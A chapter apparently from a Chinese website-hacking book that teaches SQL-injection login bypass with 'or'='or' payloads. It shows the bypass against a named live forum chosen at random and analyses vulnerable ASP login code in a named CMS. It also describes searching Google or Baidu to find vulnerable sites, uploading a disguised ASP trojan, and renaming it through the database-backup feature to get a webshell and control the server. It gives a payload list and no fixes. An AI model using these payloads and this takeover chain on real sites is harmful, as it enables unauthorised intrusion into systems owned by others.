网站入侵与脚本攻防修炼
上QQ阅读APP看本书,新人免费读10天
设备和账号都新为新人

2.4 'or'='or’绕过不安全的登录框

SQL注入攻击,总是存在于网页各种用户数据提交的地方,而登录框在一个网页中是最常见的,那么必然有针对登录框的SQL注入式攻击存在。其中,最典型的就是’or'='or’注入漏洞。

'or'='or’漏洞是一个比较老的漏洞了,凡是讲述SQL注入的文章,大部分都会提及到这个登录密码验证漏洞,这个漏洞曾经在网上非常普遍,许多网站都遭受过该漏洞的攻击。

'or'='or’漏洞主要是出现在网站的用户登录提交页面中,利用这个漏洞,攻击者可以不用输入密码就直接进入系统的后台。它出现的原因是,在编程时逻辑上考虑不周,同时没有对单引号或危险的字符进行过滤,从而导致了漏洞的出现。

前面简单地演示了一下漏洞攻击的效果,但没有讲解其中的攻击原理。下面我们详细地向读者介绍接触一下’or'='or’注入的原理及方法。

2.4.1 'or'='or’攻击突破登录验证的演示

前面打造的漏洞站点,可以使用’or'='or’攻击突破登录密码的验证,但是返回的信息不多,因此不便于原理的讲解。下面,在网站随意挑选了某个站点,用以演示’or'='or’攻击及原理讲解。

网站“http://www.yelang.cn/lt/”是一个普通的小论坛,这类论坛的安全性往往不好,很有可能存在着各种脚本漏洞。在论坛的首页中,有用户登录提交框。在用户名和密码中分别输入任意字符,再加上一个单引号进行测试,如提交(图45):

用户:admin’

密码:123456

然后点击【登录】按钮,结果出现如图46所示的返回错误,说明存在SQL注入的可能。

图45 论坛登录页面

图46 返回的错误信息

现在在用户名中输入任意字符,假设为“admin”,在密码中输入“a' or '1=1--”,单击【登录】按钮后,就可以顺利地进入论坛了(图47)。

图47 突破密码验证成功登录

为什么不用输入正确的密码,都能够登录进入后台呢?在刚才返回的错误信息中有如下语句:

            语法错误 (操作符丢失) 在查询表达式 ' FORUM_MEMBERS.M_NAME = ' admin'
            ' AND FORUM_MEMBERS.M_PASSWORD = ' admin' ' AND FORUM_MEMBERS.M
            _STATUS = 1' 中

从中可以大概猜测在网站登录页面中存在如下SQL查询语句:

            select * from accounts where FORUM_MEMBERS.M_NAME=’用户名’ and
             FORUM_MEMBERS.M_PASSWORD=’密码’

当输入上面的用户名“admin”和密码“a' or '1=1--”时,SQL语句就变为:

            select * from accounts where FORUM_MEMBERS.M_NAME=' admin' and
             FORUM_MEMBERS.M_PASSWORD=' a' or '1=1--'

SQL语句后Where部分的形式为“A=B AND C=D OR 1=1 ”,由于“1=1”是永远成立的,也就是说无论前面的“FORUM_MEMBERS.M_NAME=' admin' and FORUM_MEMBERS.M_PASSWORD=' a' ”是否成立,该条语句的返回值都为“真”,因此密码验证的结果为通过,所以就能顺利地登录进论坛了。

在实际的注入过程中,由于程序语言结构不同,构造的SQL注入语句可能会有相应的变化,例如:

            ' or 1=1--
            " or 1=1--
            or 1=1--
            ' or ' a' =' a
            " or "a"="a
            ') or (' a' =' a

2.4.2 未过滤的request.form造成注入

“织梦工作室企业全站程序(原良精)修正美化版Co Net Mib ver 1.0”是一套网上比较常见的整站网页系统,整体页面简洁大方,功能齐全,添加和管理新闻日志、设置新栏目等都非常方便(见图48)。

图48 Co Net Mib ver 1.0

但是在该网站程序的后台管理登录页面中,存在着一个典型的’'or'='or’漏洞。下面以此套程序为例,向大家详细地分析其中的’'or'='or’漏洞原理、产生原因及其严重后果。

1.打乱次序,重组程序代码

在“织梦工作室企业全站程序(原良精)修正美化版”源代码中,打开“manage”文件夹下的后台登录页面文件“login.asp”,在其中有如下一段代码:

            <%
            pwd = request.form("pwd") "获取客户端输入的密码,再把值赋给pwd"
            name = request.form("name")  "获取客户端输入的用户名再把值赋给name
            "
            上面两句都没有对用户输入的数据进行任何过滤
            Set rs = Server.CreateObject("ADODB.Connection") "利用 Server
            对象的CreateObject方法创建ADO组件的Connection对象"
            sql = "select * from Manage_User where UserName=' " & name & "'
             And PassWord=' "&encrypt(pwd)&"' "  "将用户名和密码放入查询语句中查
            询数据库"
            Set rs = conn.Execute(sql) "执行SQL语句"
            If Not rs.EOF = True Then  "当前的记录位于 Connection 对象的最记录
            之后一个前"
            Session("Name") =  rs("UserName")  "将UserName的属性赋给Name的
            Session自定义变量"
            Session("pwd") =  rs("PassWord")   "将PassWord的属性赋给pwd的S
            ession自定义变量"
            Response.Redirect("Manage.asp")了  "利用Response对象的Redirect
            方法重定向"Manage.asp"
            Else
            Response.Redirect "Loginsb.asp? msg=您输入了错误的账号或口令,请再
            次输入!"
            End If
            end if
            %>

从这段代码中,我们已经将语句功能进行了注释,可以看到后台是采用“Session”验证的,其原理与采用“cookie”验证相似。从上面的源文件代码分析中可以看到,后台登录没有对客户输入的用户名和密码进行任何过滤就交给了SQL语句查询。如果查询的记录是位于最后一条记录之前,也就是说用户名和密码查询验证有效的话,则设置Session变量UserName、PassWord的值分别为Name、pwd,并重定向到“Manage.asp”。

通过以上分析,可以发现代码中存在很大的安全漏洞,问题就出现在第1句和第2句。第1句和第2句代码语句的功能是获得客户端输入的用户名和密码,但是却没有对用户输入的数据进行任何过滤,也没有对用户输入的数据进行检查,从而导致就可以对其实行SQL注入攻击。

要实行SQL注入漏洞攻击,其问题的关键就是要使SQL语句的查询结果为真,这里就要用到or和and的逻辑运算的知识。这里简略地提一下逻辑运算中的一些知识。

首先,and逻辑运算符的意思是“且”,也就是对两个表达式进行逻辑“与”运算;而or运算符的意思是“或”,也就是对两个表达式进行逻辑“或”运算。

下面是两个运算符的运算结果:

and逻辑运算的原则:真and真=真;假and真=假;真and假=假;假and假=假

or逻辑运算的原则:真or真=真;假or真=真;真or假=真;假or假=假

如果and与or同时出现,遵守一个优先原则:

出现or同时又出现and时,则先运算and运算符。

现在,先来看代码中的SQL查询语句:

            sql = "select * from Manage_User where UserName=' " & name & "'
             And PassWord=' "&encrypt(pwd)&"' "

要使这条语句执行为真,就要构造一个特殊的用户名,以绕过程序的验证进入后台。我们只要在用户名处输入’or' ='or' ,密码处随便输入字符,如输入“admin”,这样上面的SQL语句就变成了:

            sql = "select * from Manage_User where UserName=' 'or' =' or" An
            d PassWord=' admin'

那么where后的语句为:

            UserName=' 'or' =' or" And PassWord=' admin'

转换成逻辑语句后,其形式为:

假or真or假and假

“假or真or假and假”逻辑运算过程为:

假or真or假and假=假or真or(假and假)=假or真or假=(假or真)or假=真or假=真

通过简单的运算,则最终结果为真,那么SQL语句的查询结果也变成真了。如果这样的语句看起来不怎么清楚,可以将用户名换成另一条语句:

            1' or 1=1 or '1' ='1

那么SQL语句就变成了:

            sql = "select * from Manage_User where UserName='1' or1=1or'1'
            ='1' and PassWord='000' "

在逻辑表达式中’1’是为假,1=1为真,'1' ='1’也为真,而密码是随便输入的,所以为假,那么where后的语句转换成逻辑语句后为“假or真or真and假”,最终的运算结果也为真。

2.'or'='or’控制了整个网站服务器

在“织梦工作室企业全站程序(原良精)修正美化版”后台登录页面中,我们就在用户名处输入’or' ='or' ,密码随便输入(图49),再单击【登录系统】按钮,就可以直接进入后台管理页面了(图50)。

图49 Co Net Mib ver 1.0后台登录页面

图50 成功登录后台

在网上有许多使用“织梦工作室企业全站程序(原良精)修正美化版”的网站,只要在百度或Google中,以关键字“co net mib ver 1.0网站后台管理系统”为关键字进行搜索,就可以看到大量存在此漏洞的站点。

这个漏洞会造成什么样严重的后果呢?

当攻击者利用’or'='or’漏洞进入网站后台管理页面后,单击页面上方的“新闻管理”项,进入产品管理页面后,再单击“添加新闻”(图51),将某个ASP木马后缀名改为图片的格式,在图片上传区域,单击【浏览】按钮,指定修改了后缀名的ASP木马(图52)。再单击【上传】按钮,即可将木马上传到网站服务器上。

图51 添加新闻

图52 上传ASP木马图片

从上传返回信息中,可以得到ASP木马文件上传的路径及文件名(图53)。从“系统管理”→“上传文件管理”中,也可以看到上传文件的路径。

图53 返回上传文件路径

另外,还可以单击上方新闻文字输入框工具栏中的“插入图片”按钮,在弹出对话框中选择上传图片(图54)。上传成功后,切换到“代码”显示方式,可看到插入图片的源代码为:

            <IMG src="/eWebEditor/UploadFile/200832213597875.jpg" border=0>

其中src后指定的就是图片上传后的路径(图55)。

图54 直接插入上传图片

单击“系统管理”→“数据库备份”,在“当前数据库路径”处填入ASP木马的路径,“备份数据库目录”可随便设置某个已有的网站目录路径,在“备份数据库名称”处输入一个asp后缀的文件名即可(见图56)。单击【确定】按钮,通过数据库备份功能,就可以将图片改名保存为ASP木马文件了。

图55 查看上传文件路径

图56 数据库备份生成Webshell

直接在浏览器链接地址中输入ASP木马路径,连接上ASP木马后,就可以入侵控制整个网站服务器了,在这里我们上传的是“砍客ASP木马”(图57)。当然,上传木马后门还涉及到如何通过Webshell提权的问题,具体的入侵提权原理及方法将在后面提到。

从上面这个简单的例子可以看出,一个不起眼的’or'='or’漏洞是如何让整个网站服务器被攻击者控制于手中的。可见,网页脚本安全与整个网站的安全紧密相联。

图57 Webshell控制网站服务器